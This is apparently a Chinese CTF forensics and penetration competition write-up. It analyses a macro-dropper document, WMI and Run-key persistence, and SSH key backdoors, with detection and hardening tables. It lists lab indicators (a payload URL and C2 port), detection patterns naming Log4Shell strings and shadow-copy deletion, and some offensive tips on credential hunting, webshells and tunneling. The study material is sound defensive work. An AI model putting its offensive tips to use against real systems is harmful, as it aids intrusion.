.docm与.docx的差别还有一层含义:只有前者(macro-enabled)能承载宏。攻击者用.docm,说明载荷就是宏 —— 这本身就是判据。
corp-help.com 与真实域名相似但不相同 —— 典型的仿冒域名手法(用"help"这种让人觉得可信的词)。
加固:邮件网关拦截仿冒域名与宏附件;SPF/DKIM/DMARC。
检测:外部发件人仿冒内部域名(相似域名检测);宏附件(.docm/.xlsm)进入邮箱的记录。
http://10.0.10.200:8080/helper.exeC:\Users\hruser\AppData\Local\Temp\helper.exeOneDriveUpdate10.0.10.200:8443#54 和 #55 这两题的最优解法是倒着来的:
查 HKCU\...\Run → 看到 OneDriveUpdate → C:\Users\hruser\AppData\Local\Temp\helper.exe
一条注册表查询同时回答两题。 反过来先去遍历 Temp 目录就惨了 —— 那里有几百个文件,很难认出哪个是载荷。
可迁移的经验:持久化点比载荷文件更好找,因为它是有名字、有结构的。 先定位持久化,再由它反推载荷路径、反推 C2。
① 宏放在哪。 .docm 是 OOXML(一个 ZIP 容器),解包后宏二进制在 word/vbaProject.bin 里,里面的字符串是明文的 —— 下载 URL、落地路径、C2 地址都能直接看到。
② 伪装成正常更新。 Run 键名 OneDriveUpdate —— 用了"OneDrive"这个用户天天见的词,"更新"又是最不引起怀疑的行为。
③ 两阶段载荷。 宏本身不直接是远控,它只负责下载并运行一个 exe(helper.exe),真正的远控是那个 exe。这样宏可以写得很小很简单(降低被杀概率),而真正的载荷可以随时更换。
加固:GPO 禁用宏 / 只允许签名的宏 / 阻止来自 Internet 的宏(Mark-of-the-Web);ASR 规则阻止 Office 应用创建子进程。
检测:winword.exe → wscript.exe / powershell.exe / cmd.exe 的进程创建链(Office 起子进程是宏攻击最强特征);%TEMP%、%APPDATA%、C:\ProgramData 下可执行文件的创建(Sysmon 事件 11);Run 键的写入(Sysmon 事件 13);出站连接到 8443 这类非常规端口。
这几题当时没有留下题解,把掌握的线索与正确的取证方法写下来。
候选答案:攻击源 10.0.10.100;被攻击服务监听 10.0.10.10:8080。
方法:和题目一的 Q1 完全一样 —— 按"目的地址 = 受害机"聚合统计来源 IP,并区分"打进来"和"被连出去"两个方向(10.0.10.200 是 C2,10.0.10.100 是攻击者的操作机)。监听地址则看被攻击端口绑定在哪个地址上(10.0.10.10:8080 还是 0.0.0.0:8080,这两个答案的区别就是题目的考点)。
候选答案:5。
方法:攻击者在 authorized_keys 里留了免密公钥。统计"这个密钥被成功使用过几次"要查 sshd 日志里的 Accepted publickey for <用户> from <IP> ... ssh2: RSA SHA256:<指纹> 记录,按指纹过滤计数。
知识点:
Accepted publickey与Accepted password是两种不同的认证方式,日志里都能看到 —— 排查后门时两种都要数。authorized_keys里的公钥要逐条比对指纹与注释(注释字段常被改成伪装的名字)。
方法(逐题可复现):
| 题 | 取证命令 |
|---|---|
| #44 后门账号加入的组 | net user <账号名> / Get-LocalGroupMember -Group Administrators |
| #45 计划任务名称 | schtasks /query /fo LIST /v(或 Get-ScheduledTask),按"创建时间 + Run As + 动作路径"筛 |
| #46 Windows 后门程序路径 | 从计划任务/服务的动作路径反推,或 Get-CimInstance Win32_StartupCommand |
逐题根因:这三题的答案都指向同一个地方 —— DC-FILE 上攻击者创建的"持久化三件套"(账号+组、计划任务、后门程序)。当时把精力放在勒索痕迹上,没有回头补这块基础设施,属于覆盖面问题。
| 层次 | 加固 | 检测 |
|---|---|---|
| 边界应用 | 升级 Log4j;出站阻断 LDAP/RMI | ${jndi: 变形;Java 起子进程 |
| Linux 账号 | 账号基线;UID 唯一性 | 新增 UID 0;authorized_keys 指纹比对 |
| Linux 持久化 | systemd/cron 目录基线 | 非常规命名服务;固定 60s 周期外连;/tmp 脚本 |
| 配置与凭据 | 配置不明文存口令;密钥管理 | 业务接口异常来源;服务器出站连接审计 |
| Redis | requirepass+绑本地+禁危险命令+低权运行 | CONFIG SET/BGSAVE/SLAVEOF/MODULE LOAD 审计;/etc/cron.d 完整性 |
| MySQL | 强口令;账号基线 | mysql.user 比对;CREATE USER/GRANT 审计 |
| Windows 横向 | 服务账号口令轮换 + 限登录类型 | 4624 Type 3;非工作时间登录 |
| 终端与邮件 | GPO 禁宏;邮件网关 | Office 起子进程;%TEMP% 可执行文件;Run 键写入 |
| 勒索防护 | 3-2-1 离线备份;卷影保护 | vssadmin delete shadows;大量文件改写 |
样本:EVIDENCE(10.0.20.50)桌面上的一个 .doc 文档。要求纯静态分析,不运行。
核心解法(本组题高度一致):
把文档解包 → 提取宏 → 把宏里的 base64 常量解出来 → 答案全在解出来的脚本里
基本工具链:olevba / oledump 提取宏、unzip/7z 解 OOXML、Base64 解码、PE/导入表查看、字符串检索。
| 题 | 题目 | 答案 | 详解 |
|---|---|---|---|
| #57 | 被 wscript 执行的脚本名 | 未记录(已计分无题解) | 3.6 |
| #58 | 第二阶段载荷落地目录 | C:\ProgramData\Windows | 3.3 |
| #59 | DLL 文件名 | CtxDnsClient.dll | 3.4 |
| #60 | WMI 滤波器与消费者名称 | CtxDnsClient_Filter / CtxDnsClient_consumer | 3.4 |
| #61 | WMI 消费者拉起的可执行文件 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | 3.5 |
| #62 | from 后面的事件类名 | __InstanceCreationEvent | 3.4 |
| #63 | 非管理员分支计划任务的 /tr | C:\Windows\System32\wscript.exe | 3.5 |
| #64 | Base64 解码结果的文件头前 4 字节 | 未记录 | 3.6 |
| #65 | 第三阶段脚本的互斥体名称 | 未提交 | 3.6 |
| #66 | 域名数组总数与 reld. 域名 | 未提交 | 3.6 |
答案是 C:\ProgramData\Windows。
做法:在解出来的脚本里看到 $env:programdata 与 \Windows 的字符串拼接 —— 这是伪装成系统目录的落地点(真实系统目录是 C:\Windows,加一层 ProgramData 就混进了"看起来像系统路径"的样子)。
判据:
C:\ProgramData、%APPDATA%、%TEMP%都是普通用户可写的目录,因此是恶意载荷的首选落地处。排查时优先看这几个地方。
| 题 | 答案 |
|---|---|
| #59 DLL 文件名 | CtxDnsClient.dll |
| #60 WMI 滤波器与消费者名称 | CtxDnsClient_Filter / CtxDnsClient_consumer |
#62 from 后面的事件类名 | __InstanceCreationEvent |
WMI 可以配置"当某个事件发生时,自动执行某个动作"。它由三个对象组成,缺一不可:
| 对象 | 作用 |
|---|---|
__EventFilter | 什么时候触发(查询条件) |
__EventConsumer | 触发后做什么(执行命令/脚本) |
__FilterToConsumerBinding | 把上面两者绑在一起 |
本题的触发条件是 __InstanceCreationEvent —— 即"当某个实例被创建时"。它常配合 WITHIN 30 这类轮询间隔使用,本质上是一个定时器(所以它能当"开机自启"或"定期执行"用)。
为什么恶意软件喜欢 WMI:它是系统自带的合法机制,配置存在 WMI 仓库里(不是文件),没有文件落地:杀软不易发现、用户也很难手动看到。
检测要点(很容易漏):查 WMI 持久化必须三个类都查。只查
__EventFilter会漏掉消费者,只查消费者会漏掉绑定关系。
三个对象的命名有共同前缀(CtxDnsClient_*)—— 这是排查时的重要线索:找到任意一个,就能按前缀把另外两个一起捞出来。
| 题 | 答案 |
|---|---|
| #61 WMI 消费者拉起的可执行文件 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
#63 非管理员分支计划任务的 /tr | C:\Windows\System32\wscript.exe |
#61 的判据:ExecutablePath 与 CommandLineTemplate 互相印证 —— 两处独立来源指向同一个路径,结论才可靠。
#63 的判据是"分支归属":脚本里有四条 schtasks 命令,分别对应"管理员 / 非管理员"两种运行环境。要判断哪一条属于"非管理员分支",靠的是上下文逻辑(前置的权限判断),不是靠位置。
教学点:恶意脚本经常写多条分支来适配不同环境(有没有管理员权限、有没有装某个软件)。分析时不要只看第一条,要按分支条件归类。
为什么用 wscript 而不是 powershell:wscript.exe 是 Windows 自带的脚本宿主,属于"签名二进制" —— 用它执行 .vbs/.js 可以绕过很多只拦"命令行工具"的防护(ATT&CK T1218.011 签名二进制代理执行)。
已计分但没有留下题解。 线索方向:脚本宿主执行的必然是一个 .vbs/.js 文件,它的路径/文件名应该在宏代码或解出来的载荷里;#63 的计划任务 /tr 指向 wscript.exe,它的参数部分(脚本路径)就是答案所在。
已计分但没有留下题解。 这题其实问的是"这个 Base64 串解码后是什么文件"。记住几个常见魔数就能秒答:
| Base64 前缀 | 解码后前几字节 | 文件类型 |
|---|---|---|
TVqQ | 4D 5A | PE 可执行文件(MZ 头) |
UEsDB | 50 4B 03 04 | ZIP(含 OOXML/APK/JAR) |
H4sI | 1F 8B 08 | gzip |
e1xyd | 7B 5C 72 74 | RTF |
0M8R4 | D0 CF 11 E0 | OLE2(老版 Office) |
注意"前 4 字节"和"PE 签名"的区别:PE 文件的前两字节是
MZ,而PE\0\0签名在偏移0x3C指向的位置。题目问"前 4 字节",答案应是4D 5A开头的那四字节,而不是PE\0\0—— 审题要精确到字节。
当时的搜索范围:在导出的流量对象里检索(几百个对象、几十万字节),命中大量噪声。
判断偏差:把题目二的证据链(另一个流量包)和题目三的素材混用了 —— 两份证据属于不同题目,混在一起检索必然找不到正确答案。
后续路径:
reld. 前缀的可能是特定 C2 家族特征)两条通用教训: ① 证据链不能混用。 每个题组有它自己的证据范围,先确认"这个素材属于哪道题"。 ② 检索之前先缩小范围。 在没有明确范围的情况下对几十万字节做字符串检索,命中必然是噪声占多数。
互斥体、域名数组这类东西跑一次沙箱就能直接从行为日志里看到。工具选错,努力白费 —— 在纯静态检索里耗了很久,是这一组最大的时间浪费。
| 层次 | 加固 | 检测 |
|---|---|---|
| 宏 | GPO 禁用宏;只允许签名宏 | Office 起子进程(winword → wscript/powershell) |
| WMI | 收紧 WMI 事件订阅创建权限 | 三个订阅类都要查;WMI-Activity 事件 5861 |
| 计划任务 | 限制普通用户创建计划任务 | 安全日志 4698;TaskScheduler 日志 106;/tr 指向 wscript 的异常任务 |
| 脚本宿主 | ASR 规则;限制 wscript/cscript/mshta/regsvr32/rundll32 | 父进程是 WMI 的 powershell.exe(非常异常) |
| 落地目录 | 终端防护 | C:\ProgramData、%TEMP%、%APPDATA% 下可执行文件创建(Sysmon 11) |
| DNS/网络 | DNS 日志与信誉 | 特征域名(reld. 等);异常 DNS 请求量 |
① 场景内的证据链混用。 题目三的检索里混进了题目二的流量包 —— 每个场景/题组有自己的证据范围,先确认素材归属再检索。
② 口径没对齐就开始算。 Q11"爆破次数"反复提交不对,根因是口径歧义而非统计能力问题。遇到"数不清"的题,先把每种口径都算出来列表。
③ 只解了一半的数据流。 冰蝎只解了请求方向、没解响应方向,导致 Q10 拿不到;webshell 流量只解了一条流就想统计模块,差点得出"攻击者没用命令执行"的错误结论。"样本不足"是取证里最隐蔽的坑。
④ 把"命中"当"结论"。 哈希撞出口令就认定是攻击者设的密码,而备份文件对比证明它压根没变过。找反证应该成为下结论前的固定动作。
⑤ 覆盖面不均衡。 题目二里"勒索痕迹"花了大量时间(三题仍无果),而后门账号的组、计划任务名、后门程序路径这三题(本来有明确取证命令)反而没做 —— 应该先把"有确定方法"的题全部收掉,再攻难点。
⑥ 静态分析硬啃。 题目三的 #65/#66 在纯静态检索里耗了很久,而这类东西跑一次沙箱就能直接从行为日志里看到。工具选错,努力白费。
读首页/自述 → 端口扫描 → 服务与版本识别 → 已知漏洞匹配 → 默认凭据/匿名访问试探 ↓ 目录与文件:robots.txt、备份目录、.git、前端 JS
为什么这个顺序:前几步成本极低、命中率极高。先做"一条命令就能验证"的事(匿名登录、默认口令、已知漏洞路径),再进入需要构造 payload 的阶段。
题面里的抽象说法必须先落成具体技术再动手。比如"文件共享"覆盖 SMB/FTP/NFS 三种东西、处理方式完全不同 —— 端口扫描结果里没有 445 和 139,SMB 这条路就该被立即排除,不要在它上面花任何时间。
不要凭印象选工具(先装好 impacket 再发现用不上,是典型的浪费)。
| 位置 | 典型内容 |
|---|---|
| 前端 JS | 硬编码的 token、AK/SK、API key(每碰到一个站点都该把 JS 翻一遍) |
| 配置文件 | 数据库口令、中间件口令、加密盐值(常为明文) |
| 配置中心(Nacos/Apollo/etcd) | 整个集群的凭据表 |
源码备份 / .git | 一切 |
| 共享目录 / FTP | 交接文档、说明文件(文件名有语境的优先读) |
| 堆转储 / 内存 | 明文口令、JWT、连接串 |
| 业务数据表 | 备注字段、变更记录、内部留档 |
| 报错信息 | 绝对路径、框架版本、SQL 片段 |
核心问句:谁会持有这个凭据?
这是从调用关系推出来的必然结论,比字典爆破高效得多。爆破是兜底手段,不是首选。
| 现象 | 第一嫌疑 |
|---|---|
| 响应 0 字节 | 请求根本没发出去(编码/通配符/静默选项吞了报错) |
| 404 | 路径/模块/参数真的错了,或某一段被传输链改写 |
| 403 | 角色或协议用错了(先查文档,不是先换工具) |
| 500 / 抛异常 | 代码到达了目标点 —— 往往离成功最近,读异常信息 |
| 没有输出 | 输出通道问题,不是执行问题(写文件再读) |
一句话:先确认"请求是否原样到达",再怀疑"目标是否防住了"。
在开始之前先摸清手里这个 shell / 会话能做什么:能不能传文件、能不能起子进程、能不能出网、命令长度有没有上限、哪些字符会失真。
"工具在当前环境里失效"和"目标不给"是两回事 —— 用某个工具下结论之前,先确认它的用法在这个环境里有效(which、看帮助)。一个手段失效不代表这条路走不通,换一个实现方式往往就通了。
从任何界面里抄下来的长串都必须校验:长度校验(flag 正文恒为 32 位十六进制)、格式校验(正则)、必要时要逐字节核对(od -c)。
最可靠的一招是让目标机自己回答对错:把可疑的值写进目标机的命令里做匹配,只把"命中/不命中"读回来 —— 把"人眼抄写"这个不可靠环节整个移除。
这是下午场效率最高的一条经验。 攻击者留下的脚本、工具、配置改动高度集中 —— 一个 stage.sh 可能同时包含 C2 地址、持久化服务名、后门账号口令。通读遗留物,比按题号一条条查快得多。
而且遗留物的属主能指出入口:脚本属主是 Web 用户而不是 root → 入侵起点在 Web 应用。
| 素材 | 适用问题 |
|---|---|
| 流量包 | 跨主机行为、加密通道内容、下载了什么、回连到哪里 |
| 主机文件系统 | 落地了什么、持久化在哪、文件什么时候被改 |
| 日志(应用/系统/认证) | 谁在什么时候做了什么 |
| 内存 | 无文件载荷、运行时密钥 |
跨主机行为一定要去流量里找 —— 两台机器都没有完整操作日志时,只有流量是完整的。
大流量包的处理:不要逐条看。先按受害机 IP 剪裁,再用工具一次把 HTTP 传输过的文件整体导出,然后在导出物里检索。
下任何结论之前,找一条反证。
最有效的反证手段是 diff 一份备份文件 —— /etc/shadow vs /etc/shadow-、当前配置 vs 基线快照、这台机器 vs 同版本的其他机器。成本极低,收益极高。
这是几个高分题的共同解法:
| 对象 | 正常应该是什么样 | 异常信号 |
|---|---|---|
| 用户账号 | UID 唯一 | 出现第二个 UID 0(比加入 sudo 组更隐蔽,因为不留 sudo 日志) |
| 服务账号 | 不交互登录 | 出现 Type 3 网络登录(横向的强信号) |
| 数据库账号 | host 限定、权限贴合业务 | host 为 % + ALL PRIVILEGES(后门账号的典型特征) |
| 计划任务 | 有业务含义的命名 | 伪装成健康检查的命名(sys-health、/health) |
| 落地文件 | 有业务路径 | 落在 /tmp、C:\ProgramData、%TEMP% |
多来源交叉验证:流量说"发生了什么",文件系统说"留下了什么",日志说"谁做的" —— 三者时间吻合才能定案。
单个来源都可能被篡改或误读;当某个来源缺失时(比如流量包里没保存 POST 载荷),要明确记录"该证据不可用",而不是用推测填补空白。
"数不清"的题往往是口径问题,不是统计问题。(见 35.2)
做法:把每种可能的口径都算出来列成表,逐一对齐题意;同时检查自己的统计命令是否误匹配(grep -c 404 会把长度含 404 的行算进去)。
在客户机上有图形界面时,看文件属性、看邮件原文、用 Alt+F11 看宏源码,往往比在命令行里检索二进制字符串快得多且不易出错(二进制检索命中的多是噪声)。
工具选对了,一道题可能从"半小时没头绪"变成"一眼看到"。
| # | 失败模式 | 现象 | 根因 | 正确做法 |
|---|---|---|---|---|
| 1 | PoC 不通就判"漏洞不存在" | 404 | PoC 依赖的模块/路径在目标上不存在 | 读异常信息;换真实模块名;区分"payload 错"与"目标修了" |
| 2 | 把工具问题当目标防御 | 响应 0 字节、无输出 | 请求没发出去 / 输出通道不对 | 先验证请求是否原样到达;换实现方式 |
| 3 | 不回显当成没执行 | 一片空白 | 无 tty / 没读 stderr / 输出被缓冲 | 让命令写文件再读;做带外可见的副作用 |
| 4 | 只解一条流量就下结论 | 模块统计错误 | 样本不足 | 先枚举全部相关流,再统计 |
| 5 | 只解一半数据流 | 拿不到响应里的字段 | 只解了请求方向 | 请求和响应的编码可能不对称,两边都要解 |
| 6 | 证据链混用 | 检索无结果 | 用了别的题组的素材 | 先确认素材归属 |
| 7 | 命中当结论 | 提交错误答案 | 值匹配 ≠ 来源匹配 | 下结论前 diff 一份备份找反证 |
| 8 | 时间戳污染 | SUID/mtime 分析一堆假阳性 | 镜像在案发日构建 | 用内容与包归属判断,不用时间 |
| 9 | 口径没对齐 | 同一题反复提交错 | 题目问的口径与统计口径不同 | 列出所有口径逐一对齐;检查统计命令误匹配 |
| 10 | 客户端校验当安全机制 | 口令被直接反推 | 密钥/算法都在客户端 | 校验放服务端;用不可逆派生 |
| 11 | 配置明文存口令 | 一次泄露全线崩 | 配置中心/配置文件明文 | 密钥管理 + 最小权限 |
| 12 | 只校验 Content-Type | 上传绕过 | 客户端声明不可信 | 扩展名白名单 + 内容嗅探 + 存 Web 根外 |
| 13 | 只顾一个方向的后门 | 漏掉记录出站口令的那一半 | 没意识到 ssh 与 sshd 是两半 | 成对排查同类组件 |
| 14 | Windows 应用池禁子进程 | 马能执行但无输出 | 起进程被策略挡住 | 写纯 IO 的马,不依赖子进程 |
| 15 | C2 只看 IP 不看方向 | 把投递端口判成回连端口 | 忽略了"连接方向" | 按源地址分组统计建连,区分投递与回连 |
| 16 | 静态分析硬啃 | 耗时长且无果 | 方法选错 | 换行为分析 / 沙箱 |
| 17 | 跳板/隧道决策错 | 内网久攻不下 | 在低权 shell 里做中继 | 先固化一台边界机 root,再端口转发架隧道 |
| 18 | 忘记关掉通配符解析 | 请求发不出 | 方括号被当通配符 | 关掉 globbing;用 -v/抓包确认字节 |
| 19 | 编码混淆 | 密钥解不对 | 把"看起来像 hex 的字符串"当 hex | 分清字符本身与它的十六进制表示 |
| 20 | 黑名单思维 | 被 %0a 等绕过 | 黑名单永远列不全 | 用白名单 |
rpm -Va / debsums -c 纳入日常巡检并基线化;关键二进制(ssh*、sshd、/bin/*)单独监控rpm -qf 找不属于任何包的"孤儿 SUID");清点 -perm -o+w 文件;getcap -r / 查 capabilities/etc/crontab + /etc/cron.d/ + root 自己的 crontab(/var/spool/cron*);systemd unit 目录基线/etc/shadow 与备份的 diff;/etc/passwd 里出现口令哈希/tmp、/var/tmp、/dev/shm 下的隐藏文件与脚本(点开头的文件 ls 默认不显示)root\subscription 下的三个类都要查,WMI-Activity 事件 5861)Get-LocalUser、net localgroup Administrators、服务账号的网络登录(4624 Type 3)winword.exe → wscript/powershell/cmd(宏攻击最强特征);父进程是 WMI 的 powershell(非常异常)%TEMP%、%APPDATA%、C:\ProgramData 下可执行文件的创建(Sysmon 11)wscript、cscript、mshta、regsvr32、rundll32 的异常调用ip.src==受害机 and syn and !ack 的分布 —— 后门最强特征;固定周期(60s)的连接是心跳后门cafebabe 开头(Java class 魔数,误报率极低);请求体 base64 且长度为 16 的倍数${jndi: 及其变形;应用进程发起 LDAP/RMI 连接Content-Type;SQL 是否参数化;s/类名类参数是否白名单include=*、Nacos 未升级、UEditor、Tiny File Manager 这类单文件工具.docm/.xlsm/.js/.lnk 拦截或沙箱vssadmin 执行本文档为技术学习用复盘,仅存本机;按赛规不将 flag 与解法外发。